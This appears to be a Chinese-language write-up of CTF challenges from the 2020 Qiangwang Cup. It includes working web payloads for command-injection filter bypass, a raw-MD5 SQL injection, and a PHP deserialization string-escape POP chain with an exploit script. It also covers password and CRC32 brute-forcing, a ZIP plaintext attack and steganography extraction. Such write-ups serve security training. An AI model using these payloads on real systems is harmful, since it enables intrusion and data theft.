0x00 前言
前几天打了个两天一夜的强网杯比赛,整个人都快要起飞了。趁着闲暇之余,总结和复现一下部分题。
0x01 强网先锋:主动
考点:命令执行+绕过黑名单
题目源码:
<?php highlight_file("index.php"); if(preg_match("/flag/i", $_GET["ip"])) { die("no flag"); } system("ping -c 3 $_GET[ip]"); ?>
php复制代码
很简单的一个过滤了flag关键字的命令执行,,直接拼接绕过即可:
payload
?ip=|ls ?ip=;a=g;cat fla$a.php
php复制代码
0x02 强网先锋:Funhash
考点:magic hash+弱类型
题目源码:
<?php include 'conn.php'; highlight_file("index.php"); //level 1 if ($_GET["hash1"] != hash("md4", $_GET["hash1"])) { die('level 1 failed'); } //level 2 if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])) { die('level 2 failed'); } //level 3 $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $mysqli->close(); ?>
php复制代码
一共三关:
level1:绕过$_GET["hash1"] != hash("md4", $_GET["hash1"]) level2:绕过$_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']) level3:绕过SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'
php复制代码
第一关:level1
level1的意思是:找到一个值,md4加密前后相等,才能绕过。
谷歌搜索得到相关知识:HSCTF 2019: MD5–
主要就是利用了PHP的特性,绕过hash1。
里边有一个暴力破解PHP脚本:
$i = 0; $c = 0; while (true) { if ((++$c % 1000000) == 0) { printf("."); } $n = "0e" . $i++; $h = hash('md4', $n); if ($n == $h) { printf("\nFound: $n\n"); break; } }
php复制代码
$i
每次迭代数值加1,然后对生成的0e
前缀字符串$n
进行哈希处理和比较。字符串从0e1
开始,然后继续进行,直到找到匹配项为止。每百万次迭代将一个点打印到屏幕上标记进度。
运行一段时间得到第一个正确的0e
字符串:
Found: 0e251288019
php复制代码
pyload1
?hash1=0e251288019
php复制代码
然后就成功绕过了level1。
第二关:level2
level2的意思是:(用了===
)让传入的两个值不相等且md5加密后相等,才能绕过。
利用md5无法处理数组的特性,使用数组绕过
pyload2
?hash1=0e251288019&hash2[]=2&hash3[]=3
php复制代码
第三关:level3
level3的意思是:绕过md5($_GET["hash4"],true)
实现SQL注入。
利用字符串:ffifdyop md5后,276f722736c95d99e921722cf9ed621c 再转成字符串: 'or'6
bash复制代码
最终pyload:
?hash1=0e251288019&hash2[]=2&hash3[]=3&hash4=ffifdyop
php复制代码
0x03 强网先锋:web辅助
考点:pop链+反序列化逃逸+代码审计
题目给了源码,审计代码:
//index.php <?php @error_reporting(0); require_once "common.php"; require_once "class.php"; if (isset($_GET['username']) && isset($_GET['password'])){ $username = $_GET['username']; $password = $_GET['password']; $player = new player($username, $password); //实例化class.php的player类得到对象 file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player))); //将$player序列化 //write增两个字符 //file_put_contents()函数把序列化结果写入文件中 echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']); } else{ echo "Please input the username or password!\n"; } ?>
php复制代码
//class.php <?php class player{ protected $user; protected $pass; protected $admin; public function __construct($user, $pass, $admin = 0){ //构造函数 $this->user = $user; $this->pass = $pass; $this->admin = $admin; } public function get_admin(){ return $this->admin; //定义get_admin()函数,返回$admin变量 } } class topsolo{ protected $name; public function __construct($name = 'Riven'){ $this->name = $name; } public function TP(){ if (gettype($this->name) === "function" or gettype($this->name) === "object"){ //gettype获取变量的类型 $name = $this->name; $name(); //1、将实例化对象name当作方法使用,触发midsolo类里的__invoke() } } public function __destruct(){//析构函数,反序列化时调用TP()函数 $this->TP(); } } class midsolo{ protected $name; public function __construct($name){ $this->name = $name; } public function __wakeup(){//属性个数的值大于真实属性个数跳过__wakeup()函数 if ($this->name !== 'Yasuo'){ $this->name = 'Yasuo'; echo "No Yasuo! No Soul!\n"; } } public function __invoke(){ $this->Gank();//调用Gank()函数 } public function Gank(){ if (stristr($this->name, 'Yasuo')){//2、进行字符串比较触发jungle类里的__toString() echo "Are you orphan?\n"; } else{ echo "Must Be Yasuo!\n"; } } } class jungle{ protected $name = ""; public function __construct($name = "Lee Sin"){ $this->name = $name; } public function KS(){ system("cat /flag"); } public function __toString(){ $this->KS(); //调用KS()函数,得到flag return ""; } } ?>
php复制代码
//common.php <?php function read($data){ $data = str_replace('\0*\0', chr(0)."*".chr(0), $data); //\0*\0替换成0*0吃掉两个字符 return $data; } function write($data){ $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data); //0*0替换成\0*\0 增加两个字符 return $data; } function check($data) { if(stristr($data, 'name')!==False){ //$data不能包含name die("Name Pass\n"); } else{ return $data; } } ?>
php复制代码
//play.php <?php @error_reporting(0); require_once "common.php"; require_once "class.php"; @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); //file_get_contents将文件读入字符串 //调用check检查name,调用read吃两个字符 print_r($player); if ($player->get_admin() === 1){ //调用player类的get_admin()函数,获得$admin echo "FPX Champion\n"; } else{ echo "The Shy unstoppable\n"; } ?>
php复制代码
写一下每个文件里的大致意思:
index.php 1、在 index.php get传入username和password参数,分别赋值给$username和$password变量 然后将变量传入class.php的player类 2、对$player进行序列化;增两个字符;写入caches目录下的(ip进行md5加密)的文件名 class.php 3、player类: 声明三个保护字段$user、$pass和$admin。 构造函数: $user=$username;$pass=$password;$admin=0 get_admin()函数:返回$admin变量到调用位置(即,play.php中判断返回$admin是否为1) 4、topsolo类: 声明保护字段$name 构造函数:$name='Riven' 析构函数:调用TP()函数;反序列化时调用 TP()函数:判断$name变量类型,若为函数或对象触发__invoke()魔术方法 5、midsolo类: __wakeup()魔术方法:属性个数的值大于真实属性个数跳过 __invoke()魔术方法:调用Gank()函数 Gank()函数:进行字符串比较触发__toString()魔术方法 6、jungle类: __toString()魔术方法:调用KS()函数 KS()函数:执行系统命令得到flag play.php 7、读取caches目录下文件名是md5加密ip得到的文件;检查不能包含name字符串;\0*\0替换成0*0吃掉两个字符;反序列化 8、调用player类的get_admin()函数,获得$admin需等于1 common.php 9、定义read()函数、write()函数和check()函数 read()函数:\0*\0替换成0*0吃掉两个字符 write()函数:0*0替换成\0*\0 增加两个字符 check()函数:$data不能包含name字符串 执行顺序可能是:1->2->(9)->7->(9)->3-> 4->5->6 8->3
bash复制代码
审计完代码后,发现class.php
里的topsolo类、midsolo类和jungle类可以构造出打印flag的pop链:
topsolo类里析构函数调用
TP()
函数,TP()
函数判断$name
变量类型,若为函数或对象触发midsolo类里的__invoke()
魔术方法;__invoke()
魔术方法调用Gank()
函数,Gank()
函数进行字符串比较触发jungle类里的__toString()
魔术方法;__toString()
魔术方法调用KS()
函数,KS()
函数执行得到flag的系统命令。
构造POP链进行序列化:
<?php class topsolo{ protected $name="Riven"; public function __construct(){ $this->name = new midsolo(); } } class midsolo{ protected $name; public function __construct(){ $this->name = new jungle(); } } class jungle{ protected $name = "Lee Sin"; public function __toString(){ system("cat /flag"); return ""; } } $hack=new topsolo(); print_r(serialize($hack)); ?>
php复制代码
序列化结果为:
//protected变量序列化后需要在变量前的星号*左右手动添加不可见字符%00,使其成为%00*%00 O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}
php复制代码
同样对player类进行序列化,得到序列化后的结果:
O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:1;}
php复制代码
源码中只对player类进行反序列化,read()
函数将\0*\0
替换成0*0
吃掉两个字符,于是考虑使用字符串逃逸,破坏序列化字符串的结构,吃掉一部分。
pop链序列化字符串长度为109
方法一:
吃掉的字符串为";s:7:"%00*%00pass";s:109:"
,长度为23。进行一次read()
函数可以吃掉两个字符,需进行11.5次,很明显不可以。
在吃掉的字符串后补一位,即吃掉的字符串为";s:7:"%00*%00pass";s:109:"1
,长度为24。read()函数进行12次,也就是需要12个%00*%00
。
在这里插入图片描述
方法二:
吃掉的字符串为";s:7:"%00*%00pass";s:109:
,长度为22。read()函数进行11次,也就是需要11个%00*%00
。
在这里插入图片描述
还需要注意的是要跳过midsolo类里的__wakeup()魔术方法,将原本属性个数的值1改大一些,如:2
源码中check函数过滤了关键字name
,将序列化字符串中表示变量(名)为字符串的小写s
换为大写S
,即可解析变量(名)中的16进制\6e\61\6d\65
(即name)。因为read()
函数是将\0*\0
替换成0*0
吃掉两个字符,所以需要将username里的%00
换成\0
,password里为了防止被吃,不要换或将%00
换成\00
。
方法一构造payload:
需要read()函数进行12次,也就是需要12个%00*%00
username=qwzf\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 password=1";s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};s:8:"\00*\00admin";i:1;} 将%00换成\00的(注意将1";s:7换成1";S:7 暂时不晓得为什么): 1";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\00*\00\6e\61\6d\65";s:7:"Lee Sin";}}};s:8:"\00*\00admin";i:1;}
php复制代码
这样就成功将pop链序列化的结果填入了password中,使其被反序列化,打印flag。
也可以进行url编码(也可以不用编码)一下,得到最终payload:
username=qwzf%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0 password=1%22;s:7:%22%00*%00pass%22;O:7:%22topsolo%22:1:{S:7:%22%00*%00%5C6e%5C61%5C6d%5C65%22;O:7:%22midsolo%22:2:{S:7:%22%00*%00%5C6e%5C61%5C6d%5C65%22;O:6:%22jungle%22:1:{S:7:%22%00*%00%5C6e%5C61%5C6d%5C65%22;s:7:%22Lee Sin%22;}}};s:8:%22%5C00*%5C00admin%22;i:1;}
php复制代码
方法二构造payload:
原理类似,吃的字符数不同。需要read()函数进行11次,也就是需要11个%00*%00
username=qwzf\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 password=;s:7:"%00*%00pass";O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{s:7:"%00*%00\6e\61\6d\65";s:7:"Lee Sin";}}};S:8:"%00*%00admin";i:0;}
php复制代码
传入后访问play.php,进行反序列化,得到flag。
为了方便直接写了个exp
exp:
import requests url="http://eci-2ze4mvter6u4z188kpmz.cloudeci1.ichunqiu.com/" users="?username=qwzf%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0%5C0*%5C0" pwds='&password=1%22;S:7:%22%5C00*%5C00pass%22;O:7:%22topsolo%22:1:{S:7:%22%5C00*%5C00%5C6e%5C61%5C6d%5C65%22;O:7:%22midsolo%22:2:{S:7:%22%5C00*%5C00%5C6e%5C61%5C6d%5C65%22;O:6:%22jungle%22:1:{s:7:%22%5C00*%5C00%5C6e%5C61%5C6d%5C65%22;s:7:%22Lee Sin%22;}}};S:8:%22%5C00*%5C00admin%22;i:1;}' #传入payload urls=url+ users + pwds r=requests.get(urls) print(r.text) #访问play.php吃掉字符,输出进行反序列化后的结果 res=requests.get(url+"play.php") print(res.text)
py python复制代码
运行得到flag
在这里插入图片描述
0x04 强网先锋:upload
考点:流量分析+steghide隐写
下载解压题目,是一个流量包,筛选协议为http的流量包。发现
在这里插入图片描述
意思应该就是使用了steghide隐写,并且是含有密码的。查看下一个数据包,发现里面隐藏了一张jpg图片,提取出来
在这里插入图片描述
因为没找到密码,所以直接使用steghide隐写工具不能提取出隐藏内容。
考虑使用脚本爆破密码:
#python3运行 from subprocess import * def foo(): stegoFile='1.jpg'#隐写的图片 extractFile='passwd.txt'#爆破的密码 passFile='dic.txt'#字典 errors=['could not extract','steghide --help','Syntax error'] cmdFormat='steghide extract -sf "%s" -xf "%s" -p "%s"' f=open(passFile,'r') for line in f.readlines(): cmd=cmdFormat %(stegoFile,extractFile,line.strip()) p=Popen(cmd,shell=True,stdout=PIPE,stderr=STDOUT) content=str(p.stdout.read(),'gbk') for err in errors: if err in content: break else: print (content), print ('the passphrase is %s' %(line.strip())) f.close() return if __name__ == '__main__': foo() print ('ok') pass
py python复制代码
在这里插入图片描述
爆破得到密码123456,然后使用steghide工具提取含有密码的隐藏内容
steghide extract -sf 1.jpg -p 123456
bash复制代码
得到flag
0x05 强网先锋:bank
考点:爆破hash+逻辑漏洞
nc连过去发现是只有得到XXX,才能进行下一步。
找脚本爆破前三位即可,注意速度要快,因为这个nc连接每隔一会儿就会断
#python2运行 #-*- coding:utf-8 -*- import string import hashlib import time import threading import sys string = input("your str:") sha256 = input("your sha256:") strr="ABCDEFGHIJKMLNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" def main1(asc1): def main2(asc2): def main3(asc3): asc = asc1+asc2+asc3 proof=asc+string digest = hashlib.sha256(proof.encode('utf-8')).hexdigest() if digest == sha256: zhi ='\n\n\n\n\n\n\n\n\n\n-------------------------------------\n'+proof+'\n'+digest+'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n' f = open("zhi.txt",'w') f.write(zhi) f.close() print('\n\n\n\n\n\n\n\n\n\n-------------------------------------') print(proof+'\n'+digest+'\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n') sys.exit(0) return #else: #day = time.asctime(time.localtime(time.time())) #print "当前时间为:" + day+'\n' #print proof+"\n"+digest+"\n" for asc3 in strr: t3 = threading.Thread(target=main3,args=(asc3,)) t3.start() for asc2 in strr: t2 = threading.Thread(target=main2,args=(asc2,)) t2.start() for asc1 in strr: t1 = threading.Thread(target=main1,args=(asc1,)) t1.start()
py python复制代码
输入爆破出的XXX的值;然后输入队伍token。hint提示的是AES ECB模式加密(可能这才是预期解)。
发现需要买flag,需要1000现金,而自己有10现金。涉及现金,队友想到可能有逻辑漏洞,随便输入负数,发现自己的现金增加了。输入qwzf -995
,和之前的10相加,够1000现金了,get flag,支付现金得到flag。
0x06 Web:half_infiltration
考点:反序列化+内网攻击
题目源码(自己添加注释后的):
<?php highlight_file(__FILE__); $flag=file_get_contents('ssrf.php'); class Pass { function read() { ob_start(); //打开输出控制缓冲 global $result; //函数内部的global,在函数内部的为局部变量,与外部互不干涉 print $result; } } class User { public $age,$sex,$num; function __destruct()//析构函数,反序列化时调用 { $student = $this->age; //将$age赋值给$student $boy = $this->sex; //将$sex赋值给$boy $a = $this->num; //将$num赋值给$a $student->$boy(); //$student以对象调用的方式调用$boy方法 if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student))) { ob_end_clean(); //清空缓冲区并关闭输出缓冲 exit(); } global $$a; //函数内部的global,声明可变变量 $result=$GLOBALS['flag']; //当前页面的全局变量$key = value的引用,即引用$flag的值 ob_end_clean(); } } if (isset($_GET['x'])) { echo "<br />".$_GET['x']."<br />"; $q=unserialize($_GET['x'])->get_it(); print_r($q); } ?>
php复制代码
构造poc
<?php $qwzf = new User; $qwzf->age = new Pass; $qwzf->sex = 'read'; $qwzf->num = 'result'; $c = new User; $c->age = new Pass; $c->sex = 'read'; $c->num = this; $test = serialize([$qwzf,$c]); var_dump($test);
php复制代码
由于是第五空间do you know原题改的,所以直接修改payload得到:
a:3:{i:0;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"boy";s:4:"read";s:3:"num";s:6:"result";}i:0;O:4:"User":3:{s:3:"age";O:4:"Pass":0:{}s:3:"boy";s:4:"read";s:3:"num";s:4:"this";}i:0;s:4:"AAAA";}
php复制代码
将payload传入,查看源代码,发现
在这里插入图片描述
进了内网,内网服务没做出来。找到大师傅的博客如下:
2020第四届“强网杯”全国网络安全挑战赛初赛Writeup
0x07 MISC:miscstudy
考点:流量分析+TLS解密+Base64+二进制作像素点画图+jphide隐写+文件分离+crc32碰撞+明文攻击+Python3盲水印+snow在html嵌入隐写信息
第一关
筛选http数据包,得到39.99.247.28/fonts/1
在这里插入图片描述
访问得到flag{level1_begin_and_level2_is_come
在这里插入图片描述
第二关
第一关的内容,查询发现是TLS密文日志,保存到一个文件里。使用TLS密文日志在Wirshark解密流量:
打开Wireshark->编辑->首先项->Protocols->TLS->选择TLS密文日志文件
在这里插入图片描述
筛选http数据包,得到47.244.9.130/images/4e5d47b2db53654959295bba216858932.png
在这里插入图片描述
访问得到一张图片,右键保存到本地。winhex打开发现后半部分有可疑信息IDAT,并且最后面的IDAT和IEND之间的信息应该是Base64编码:bGV2ZWwzX3N0YXJ0X2l0
在这里插入图片描述
Base64解码得到:level3_start_it
第三关
第二关发现的可疑IDAT,在上边还有3段,分别进行base64解码得到3600二进制数。想到利用脚本转化为图片。并且应该是像素点画图,1RGB值为(0,0,0),0RGB值为(255,255,255)。拿个大师傅的脚本:
from PIL import Image MAX = 60 pic = Image.new("RGB",(MAX, MAX)) data = "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111110000000100110000100000000011100001111111111100001111111111110000000110111000100000000011100001111111111100001100000000110010011111110010000000001100111001000000000100001100000000110010000110110010000000000001111001000000000100001100111100110010000100110010011100000011101001001111100100001100111100110000100000001110011111110010000001001111100100001100111100110000000000001110011110110010000001001111100100001100111100110011100100111111111100110011100000001111100100001100000000110011000000000111100110110110000001000000000100001100000000110010011000000011100011111110011001000000000100001111111111110010011001001001100110110010011001111111111100001111111111110010011001001100000100110010011001111111111100000000000000000010011111110010011000111000100000000000000000000000000000000010001111100010011000011101100000000000000000001110011000111100000001000000011000001111111001111000111000000110000000000000000001000000011000000000011001000000000000000010000001000011100001000000111100110000011000000010000000001110011001111110000000000000010001001110011111000010011000001110011001111110000000000000011001001110011111000010011000001100111000000011111000000010000100000100100111000000100100000001100000000111011000000111000100001100000111000000000000000011100000111110011000001111111100001100011111110010000000000000111001001100000000001100000111001110011111001000100100000000111001001000000000001000000111001110011111001100100100000011100000110011111111000000011100001111111000001110011100000011000000010011111110000000011100001111111000000110001100000000000100000010000000000000011000001110011001000000100100000000000000000110000000000000000000001110011011100000000000000010001001111110000100000000100000011111111101111100000000000011000000001110000000111111100110000001100000000010000000000011100000001110000000111111100111000000100000000010000000001110000100111111111111000000011100111000011000001100000000001111000110001001100111000000011000011100011000000000000000001111100111001100100101111111111001111100001001110011111100001100000111110000100000000010000000111100011000000011100100001000000111110000100000000010000000111000011000000011100100000011011100000011100000000000000001110000011111000001100100000111111100000011000000000000000011100000001101000000100100001111100000110010000100000000011111000010000000001100010000000111100000000010000110000000000000000110000000001100000000000011100100000010011111000011100000001110000000111000100000001100111000111110011111001111111100001010011111111100011000001000111000111110011111001111111100001110011011111100011000000000000000000010011001001110000001110001111000001100000100000000000000000010011000001100000000110000011000001100000100001111111111110010011000111000110000111100011001001100111100001100000000110000111100000011111111001110001000001100111000001100000000110000111100000011111111001110011000001100111000001100111100110000100001000000100001001110011111111100000000001100111100110000100001000001100001001100001111111000000000001100111100110010011000111111111000111110000111000011011100001100111100110000011000110000000000000110000000000011011100001100111100110000011111110000000100001110011000000000011100001100000000110011100100111000011001111100011111111111100000001100000000110011100100111000011001111100011111111111100000001011111111010010011111110011111001001110011111100000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" i=0 # print(len(data)) for y in range (0,MAX): for x in range (0,MAX): if(data[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png")
py python复制代码
运行脚本,得到一个二维码图片,扫描得
链接:http://pan.baidu.com/s/1wVJ7d0RLW8Rj-HOTL9Shug 提取码:1lms
bash复制代码
下载发现是一个jpg图片,经过stegdetect
分析,是jphide隐写
stegdetect -tjopi -s 10.0 level4.jpg
bash复制代码
在这里插入图片描述
使用stegbreak爆破密码。(stegbreak是stegdetect工具里的一个程序)
stegbreak -r rules.ini -f password.txt -t p [stego_file] # password.txt为字典文件
bash复制代码
在这里插入图片描述
得到密码为power123
。然后使用jphs的seek选项,输入两次密码power123
提取隐藏信息
http://pan.baidu.com/s/1o43y4UGkm1eP-RViC25aOw mrpt level4_here_all
bash复制代码
第四关
访问第三关的百度网盘链接,下载文件。解压发现level5、level6和level7都在压缩包里,并且还有张1.png图片。但level5.png
解压失败,使用foremost工具分离出来了level5.png
,打开即是本关的flag:level5_is_aaa
第五关
打开level6.zip,发现有密码并且文件大小都很小,想到crc32碰撞。但通用脚本并没有碰撞出来内容。从wp了解到通用脚本只能碰撞4字节和6字节的。而这个是4字节和5字节的。于是直接拿来师傅的脚本碰撞:
#coding:utf-8 #通用脚本:http://github.com/theonlypwner/crc32 目前适合4、6字节的 import binascii import string # dic=string.printable #各种打印字符 dic='abcdefghijklmnopqrstuvwxyz0123456789_' crc1 = 0x9aeacc13 # 记得要以0x开头 crc2 = 0xeed7e184 crc3 = 0x289585af def CrackCrc5(crc): for i in dic : for j in dic: for p in dic: for q in dic: for h in dic: s=i+j+p+q+h if crc == (binascii.crc32(s.encode("ascii"))): print (s) return 1 def CrackCrc4(crc): for i in dic : for j in dic: for p in dic: for q in dic: s=i+j+p+q if crc == (binascii.crc32(s.encode("ascii"))): print (s) return 1 CrackCrc5(crc1) CrackCrc4(crc2) CrackCrc5(crc3)
py python复制代码
运行脚本,得到的内容为level6_isready
第六关
打开level7.zip,发现依旧加密了。但加密的文件有1.png。而之前第四关解压出来的有一张未加密的1.png。于是想到明文攻击:
将1.png
压缩成1.zip
使用ARCHPR工具,选择攻击类型为明文。选择加密文件level.zip,明文文件1.zip。开始攻击
得到解密后的压缩包level7_decrypted.zip
,解压发现两张一样的图
一般遇到两张一样的图,可以想到:双图、盲水印。测试后发现要使用python3版本的
python3 bwmforpy3.py decode 4.png 5.png result.png
py python复制代码
在这里插入图片描述
level7ishere 39.99.247.28/final_level
bash复制代码
第七关
访问第六关得到的地址39.99.247.28/final_level
,额,没找到关键信息。瞟一眼wp,发现snow,第一印象想成了whitespace隐写,然而并不是。看一下大师傅这部分的完整wp:
这里是静态页面且目录下无法扫到其它的东西。那么应该是一种隐写。最后发现存在 snow 在html嵌入隐写信息,我们可以直接去解密网站在线解密 http://fog.misty.com/perry/ccs/snow/snow/snow.html 但是这里我们还需要知道其密码。经过反复尝试和查找,发现其密码居然是 no one can find me
额,这就很明确了。考察的是在html嵌入隐写信息,直接使用解密网站解密,密码是在源代码处发现的no one can find me
,解密得到the_misc_examaaaaaaa_!!!}
七关拼在一起就是最终flag!
0x08 后记
总的来说,这次强网杯比赛收获很大。学到的新知识有:md4
、反序列化逃逸
、steghide隐写爆破密码
、hash碰撞
、TLS解密
、二进制作像素点画图
、jphide隐写
、4字节和5字节的crc32碰撞
、snow在html嵌入隐写信息
参考:2020第四届“强网杯”全国网络安全挑战赛初赛Writeup
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论